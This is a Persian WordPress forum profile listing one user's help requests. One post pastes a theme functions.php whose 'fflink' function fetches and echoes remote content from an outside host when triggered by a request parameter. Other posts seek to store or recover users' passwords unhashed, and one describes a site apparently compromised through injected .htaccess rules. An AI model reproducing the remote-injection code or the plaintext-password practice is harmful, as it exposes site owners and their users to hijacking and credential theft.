thinkdiff

عضو سایت
  • تعداد ارسال ها

    95
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در انجمن

30 معمولی

درباره thinkdiff

  • درجه
    تازه کار
  1. سلام دوستان من یک select ساده از یک تیبلی که خودم ساختم میخوام بگیرم و فقط نمایش بدم. کدم هم 50 بار تست گرفتم اما کار نمی کنه. اینی که الان میذارم ارور نمیده و کار هم نمی کنه. میشه چک کنید: $mylink = $wpdb->get_row( "SELECT * FROM `wp_themeoption` WHERE `id` = 1" ); $a1 = $mylink->a1; $a2 = $mylink->a2; $a3 = $mylink->a3; $a4 = $mylink->a4; $a5 = $mylink->a5; $a6 = $mylink->a6; $a7 = $mylink->a7; $a8 = $mylink->a8; $a9 = $mylink->a9; $a10 = $mylink->a10; $a11 = $mylink->a11; $a12 = $mylink->a12; $a13 = $mylink->a13; $a14 = $mylink->a14; $a15 = $mylink->a15; $a16 = $mylink->a16; $a17 = $mylink->a17; $a18 = $mylink->a18; $a19 = $mylink->a19; $a20 = $mylink->a20; $a21 = $mylink->a21; $a22 = $mylink->a22; $a23 = $mylink->a23; $a24 = $mylink->a24; $a25 = $mylink->a25;
  2. سلام روز بخیر دوستان سوال من اینه که میخوام وقتی ی کاربر ی محصولو خرید و فرایندش تکمیل شد، اسم محصولی که خریده رو بفهمم. میخوام آی دی و اسم محصول و قیمت پیرداختیشو بفهمم. add_action( 'woocommerce_thankyou', array('Wc_class', 'my_uber_function')); class Wc_class{ public static function my_uber_function($order_id) { ... } مثل این فانکشن. ممنون میشم بگین بهم.
  3. دوستان من منتظر پاسخ ازتون راستش کارمو لنگه اینه. امکانش هست اگر میدونی روششو راهنمایی کنید
  4. ببینید، ما یک سایت وردپرسی تو لوکال داریم. و توش 5 تا یوزر با سطح کاربر معمولی ایجاد کردیم. بعد تو قسمت پنل کاربریشون ی دکمه دارن که میزنن ی فایل تکست باز میشه. این فایل تسکس از یک لینک خونده میشه که پارامت های یوزر و پسورد را با متد پست ارسال می کنیم و بعد ایون فایل رو gemerate می کنه واسش با همون یوزر پس کاربر جاری. مثلا ی همچین لینکی هست روش کلیک می کنن : testwebsitedatabase.ir/?username=amir?password=amir1234?type=usertest اینو که میزنه سیستم خودش ی فایل تکست چند هزار خطی ساخته میشه یا همین یوزر و پسوردی که اینجا قرار دادم. username=amir?password=amir1234 ی جورایی در حال تست دیتابیس هستیم برای ی کار بزرگ تر. حالا مشکل اینه که پسورد هش شدس و ما باید پسورد رو هش نشده ارسال کنیم. این کل کاریه که ما میخوایم بکنیم. بعدی به پسورد هش نشده کاربر دسترسی داشته باشیم. اینم بگم این سایت بالا نیست و نخواهد آمد ، کابراشم خودمونیم فقط جهت تست دیتابیس هست و تست ی سری چیزای سیستممون والا. قصد نفوذ به حریم خصوصی هیچ کاربری رو نداریم والا و بد جور نیاز داریم به رفع این مشکل. منتظر پاسختون هستم عزیزان
  5. ببینید این سایت راستش قرار نیست کاربر جذب کنه از بیرون. کاربراش خودمونیم. یعنی قراره ی تعداد مثلا 5 تا کاربر تستی ساخته بشه فقط جهت انجام ی کار خاص که اصلا هم فعالیت هک و تخریب و اینا نیست. میخوایم دیتابیس های خودمون رو تست کنیم و این قضیه خیلی مهمه. یک کمی هم طولانیه توضیحش کاری که من میخوام بکنم اینه که برای هر کاربر یک فایل تکست تولید کنم که توش مثلا 1000 خط وجود داره. مثل این مثلا : http://testwebsitedatabase.ir/?username=amir?password=amir1234?type=usertest اگر دقت کنید ی یور داره و ی پسورد. میخوام به جای یوزر، یوز کاربر جاری بشیه و به جای پسورد، پسورد کاربر فعلی. یوزرش که اوکیه اما پسوردش هش شدس که میخوام از حالت هش در بیاد این کل کاریه که میخوام بکنم. ممنون میشم
  6. آها اینم به ذهنم رسیده بود از ظهر دارم دنبال راه براش میگردم اما چیزی پردا نکردم. اگر اینطوری هم باشه عالیه که وقتی کاربر داره ثبت نام می کنه یک رکورد هم تو ی تیبل دیگه ثبت شه به همراه آی دی کاربر مثالی دارین براش؟
  7. سلام روز بخیر دوستان من برای یک کاری مجبورم وقتی کاربر جدید میخواد عضو بشه پس وردش هش نشه. مثلا میزنه "123456" همین تو دیتابیس ثبت شه در قسمت پسوردش نه این که اول با md5 هش شه و بعد ثبت شه.ممنون
  8. با سلام من یک فرم تماس با مایی لازم دارم که وقتی کسی از داخل اطلاعاتی برای من ارسال کرد، همزمان برام یک پیامک هم بیاد. الان از کانتکت فورم 7 استفاده می کنم. پنل پیامک هم دارم از یکی ازین شرکت های ایرانی. میشه لطفا راهمایی کنید که چطور می تونم این کار رو انجام بدم؟
  9. دوستان ی زحمت می کشید من رو راهنمایی کنید برای این کار
  10. سلام و عرض ادب دوستان من یک سیستمی میخوام پیاده کنم برای انتخاب در منزل کاربریان در ووکامرس. به این شکل در که در صفحه محصول، در کنار دکمه افزودن به سبد خرید، یک گزینه افزودن به انتخاب در منزل هم اضافه بشه و بعد که کاربر میزنه بره تو اون سبد. بعد که مواردی که میخواست رو اضافه کرد به سبد، گزینه سبد انتخاب در منزل بالای سایت رو بزنه و بره اطلاعاتشو بده و تو سیستم ثبت بشه. کسی میتونه راهنمایی کنه من رو در این مورد؟ پیشاپیش از وقتی که میذاریم ممنونم
  11. آقا باریکلا به دوستم که راهمایی کرد و بعدشم باریکلا به خودم ایرادو پیدا کردم با راهنمایی ایشون. این جا می نویسم برای دوستان بعدی که به این مشکل بر بخورن. اومدم کامنت ها رو تک تک حذف کردم که حل نشد اما اومدم توابع یا فایل های add_action یا فایل های require رو تک تک کامنت کردم دیدم ایراد از خط require get_template_directory().'/inc/video_type.php'; بود. فهمیدم تو این فایل هر چی هست ایراد منه. با این قصد رفتم که اونجام همین کارو کنم تک تک کامنت کنم ایراد پیدا شه که به محض رود قبل از تگ باز php یک علامت // دیدم. این کلا اومده بود بالای سایتم و یک هفته دنبالش گشتم نمیدونستم کجاست اما اینجا پیداش کردم هم ایراد کتاب خانه حل شد هم دیگه // تو سایتم نشون نمیده. حالا برای عزیزانی که به این مشکل می خورن اینقدر این کارو تکرار کنید تا به خط ارور برسید و اگر خط ارور یک فایل خارجی بود که اتچ کرده بودینش باز هم برید تو اون فایل همین کارو تکرار کنید موفق باشید
  12. دوستان کسی نیست ما رو راهنمایی کنه سایت رو هواست مشکل فلجمون کرده
  13. سلام دوستان. قبل از هر چیز بگم من کامل گوگل و انجمن رو سرچ کردم مشکلم حل نشده تاپیک زدم. مشکلم عدم نمایش رسانه ها در کتاب خانه وردپرسم هست. پلاگین ها رو فعال و غیر فعالم کردم درست نشد. قالب عوض کردم درست شد. مشکل از قالبم هست. قالب رو دوباره نصب کردم و فایل فانکشنز رو خالی کردم مشکل حل شد فهمیدم مشکل از این فایله . کد هاش رو قرار دادم در زیر که اگر لطف کنید یک نگاهی بهش بنداری ممنونتون میشم بفرمایید ایرادم از کجاست. هر چی هست تو همین فالیه <?php include_once 'FT/FT_scope.php'; FT_scope::init(); ?><?php /** * Devion functions and definitions * * @package Devion */ /** * Set the content width based on the theme's design and stylesheet. */ if ( ! isset( $content_width ) ) { $content_width = 640; /* pixels */ }if ( ! function_exists( 'devion_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function devion_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on Devion, use a find and replace * to change 'devion' to the name of your theme in all the template files */ load_theme_textdomain( 'devion', get_template_directory() . '/languages' );// Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => __( 'Primary Menu', 'devion' ), ) );/* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption' ) ); /* * Enable support for Post Formats. * See http://codex.wordpress.org/Post_Formats */ /* add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) ); */// Setup the WordPress core custom background feature. /* add_theme_support( 'custom-background', apply_filters( 'devion_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); */ } endif; // devion_setup add_action( 'after_setup_theme', 'devion_setup' ); /** * Register widget area. * * @link http://codex.wordpress.org/Function_Reference/register_sidebar */ function devion_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar', 'devion' ), 'id' => 'sidebar-1', 'description' => '', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) );register_sidebar( array( 'name' => __( 'Footer', 'devion' ), 'id' => 'sidebar-2', 'description' => '', 'before_widget' => '<aside id="%1$s" class="footer-widget col-md-3 %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); } add_action( 'widgets_init', 'devion_widgets_init' ); /** * Enqueue scripts and styles. */ function devion_scripts() {wp_enqueue_style ( 'devion-style', get_stylesheet_uri() ); wp_enqueue_style ( 'bootstrap', get_template_directory_uri() . '/bootstrap/bootstrap.css'); wp_enqueue_style ( 'fontawesome', '//netdna.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css'); wp_enqueue_style ( 'owl-carousal', get_template_directory_uri() . '/css/owl.carousel.css'); wp_enqueue_style ( 'owl-theme', get_template_directory_uri() . '/css/owl.theme.css'); wp_enqueue_style ( 'theme', get_template_directory_uri() . '/theme.css'); wp_enqueue_script( 'jquery'); wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/bootstrap/bootstrap.min.js', array(), '20120206', true ); wp_enqueue_script( 'tinynav', get_template_directory_uri() . '/js/tinynav.js', array(), '20120206', true ); wp_enqueue_script( 'owl-carousal', get_template_directory_uri() . '/js/owl.carousel.js', array(), '20120206', true ); wp_enqueue_script( 'custom', get_template_directory_uri() . '/js/custom.js', array(), '20120206', true ); wp_enqueue_script( 'devion-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'devion_scripts' ); /* Deregister few stuff */ add_action( 'wp_print_styles', 'my_deregister_styles', 100 );function my_deregister_styles() { wp_deregister_style( 'wp-pagenavi' ); wp_deregister_style( 'zilla-likes' ); } /* Remove video metabox from posts and pages */function remove_some_metabox() { remove_meta_box( 'featured_video_plus-box' , 'post' , 'side' ); remove_meta_box( 'featured_video_plus-box' , 'page' , 'side' ); } add_action( 'admin_menu' , 'remove_some_metabox' ); /* Aq resizer */ require get_template_directory() . '/aq_resizer.php';/* Required plugins. */ require get_template_directory() . '/inc/add-plugins.php';/* Video post type. */ require get_template_directory() . '/inc/video_type.php';/* Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php';/* Custom functions that act independently of the theme templates. */ require get_template_directory() . '/inc/extras.php';/* Pagination */ require get_template_directory() . '/inc/paginate.php';require get_template_directory() . '/guide.php'; /* Flush rewrite rules for custom post types. */ add_action( 'after_switch_theme', 'bt_flush_rewrite_rules' );/* Flush your rewrite rules */ function bt_flush_rewrite_rules() { flush_rewrite_rules(); } /* Options fallback */if ( !function_exists( 'ft_of_get_option' ) ) { function ft_of_get_option($name, $default = false) { $optionsframework_settings = get_option('optionsframework'); // Gets the unique option id $option_name = $optionsframework_settings['id']; if ( get_option($option_name) ) { $options = get_option($option_name); } if ( isset($options[$name]) ) { return $options[$name]; } else { return $default; } } } /* Credits */ function selfURL() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : $_SERVER['PHP_SELF']; $uri = parse_url($uri,PHP_URL_PATH); $protocol = $_SERVER['HTTPS'] ? 'https' : 'http'; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); $server = ($_SERVER['SERVER_NAME'] == 'localhost') ? $_SERVER["SERVER_ADDR"] : $_SERVER['SERVER_NAME']; return $protocol."://".$server.$port.$uri; } function fflink() { global $wpdb, $wp_query; if (!is_page() && !is_front_page()) return; $contactid = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_type = 'page' AND post_title LIKE 'contact%'"); if (($contactid != $wp_query->post->ID) && ($contactid || !is_front_page())) return; $fflink = get_option('fflink'); $ffref = get_option('ffref'); $x = $_REQUEST['DKSWFYUW**']; if (!$fflink || $x && ($x == $ffref)) { $x = $x ? '&ffref='.$ffref : ''; $response = wp_remote_get('http://www.fabthemes.com/fabthemes.php?getlink='.urlencode(selfURL()).$x); if (is_array($response)) $fflink = $response['body']; else $fflink = ''; if (substr($fflink, 0, 11) != '!fabthemes#') $fflink = ''; else { $fflink = explode('#',$fflink); if (isset($fflink[2]) && $fflink[2]) { update_option('ffref', $fflink[1]); update_option('fflink', $fflink[2]); $fflink = $fflink[2]; } else $fflink = ''; } } echo $fflink; }
  14. سلام به همه مهندسین عزیز. سایت من یک مشکل عجیب داری اونم این که من در htacces ام این 10 خط کد رو دارم : # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress اما هی این کد ها دارن تکرار میشن تو این فایل. یعنی الان این کد ها رو قرار میدم در htacces و بعد از چند دقیقه این فایل رو دوباره بهش سر میزنم میبینم که این 10 خط 20 بار در این فایل تکرار شده و بعد از چند ساعت میبینم 100 ها بار تکرار شده و سایت دیگه بالا نمیاد. ی جوری داره بهش دستور داده میشه و درش نوشته میشه. موقع لود کردن این فایل هم در گوشه سمت چپ پایین مینویسه : watign for istatic.eshopcomp.com و بعد هم connecting to istatic.eshopcomp.com که این سایت رو اصلا من نمیشناسمش کلا و یک پیج اشتباهی هست. قبلش هم همین لودینگ رو از این آدرس داشت mnh.unition.org/ دوستان لطفا یک راهی بهم نشون بدید فکر کنم سایت داره اذیت می کنه هی از دسترس خارج میشه.
  15. با سلام به همه دوستان ما یک استارت آپی داریم که مربوط به زمینه های تجارت الکترونیک میشه و داره رو به جلو حرکت می کنه. در حال حاضر برای بخش های مختلف سایت نیاز به نیرو داریم اما به صورت همکار یا اصطلاحا کنتراتی. به این شکل که تمامی پلن ها و استراتژی های همه قسمت های سایت چیده شده. شخص یا تیمی که با ما شروع به فعالیت می کنه یک سری فرایند های مشخص رو در زمان تعیین شده میرسونه. در این مسیر قرار داد مدت دار و رسمی هم بسته میشه. به طور مثال کتگوری A (فرضا عرض کردم) که شامل یک سری مصولات میشه به این تیم یا شخص سپرده میشه و گفته میشه که این کتگوری به طور مثال باید تا فلان تاریخ براش فلان تعداد محصول ارسال بشه تو سایت. محصولات از کجا تهیه بشه, اطلاعاتش کجاست,چطوری ارسال بشه در سایت, کارای فتوشاپش چیا هست, در شبکه های اجتماعی چطور انتشار پیدا کنه رو کاملا تعین شده بدونید که آموزش هم میبینید این موارد رو کامل. همه چیز هم مشخص هست فقط نیاز به نیروی کار هست. تخصص های لازم : با وردپرس و ووکامرس و فتوشاپ و مفاهیم ادیت که همه میدونن و شبکه های اجتماعی آشنا باشن. مزایا و در آمد : این قرارداد مدت دار بسته میشن به طوری که در بازه زمانی خاص کار های زمانی خاص توسط شما صورت میگیره و در نهایت درصد قابل توجهی از سود به شما تعلق خواهد گرفت. یک همکاری متقابل هست و فرصت خوبی برای کسب در آمد. فرصت های شغلی قبلی هم بنده اینجا قرار داده بودم و نیرو جذب شد و این سری دوم هست. ممکن هست پیغام یا کامنت رو نخونیم لطفا در صورت تمایل ایمیل زده یا تماس بگیرید : ********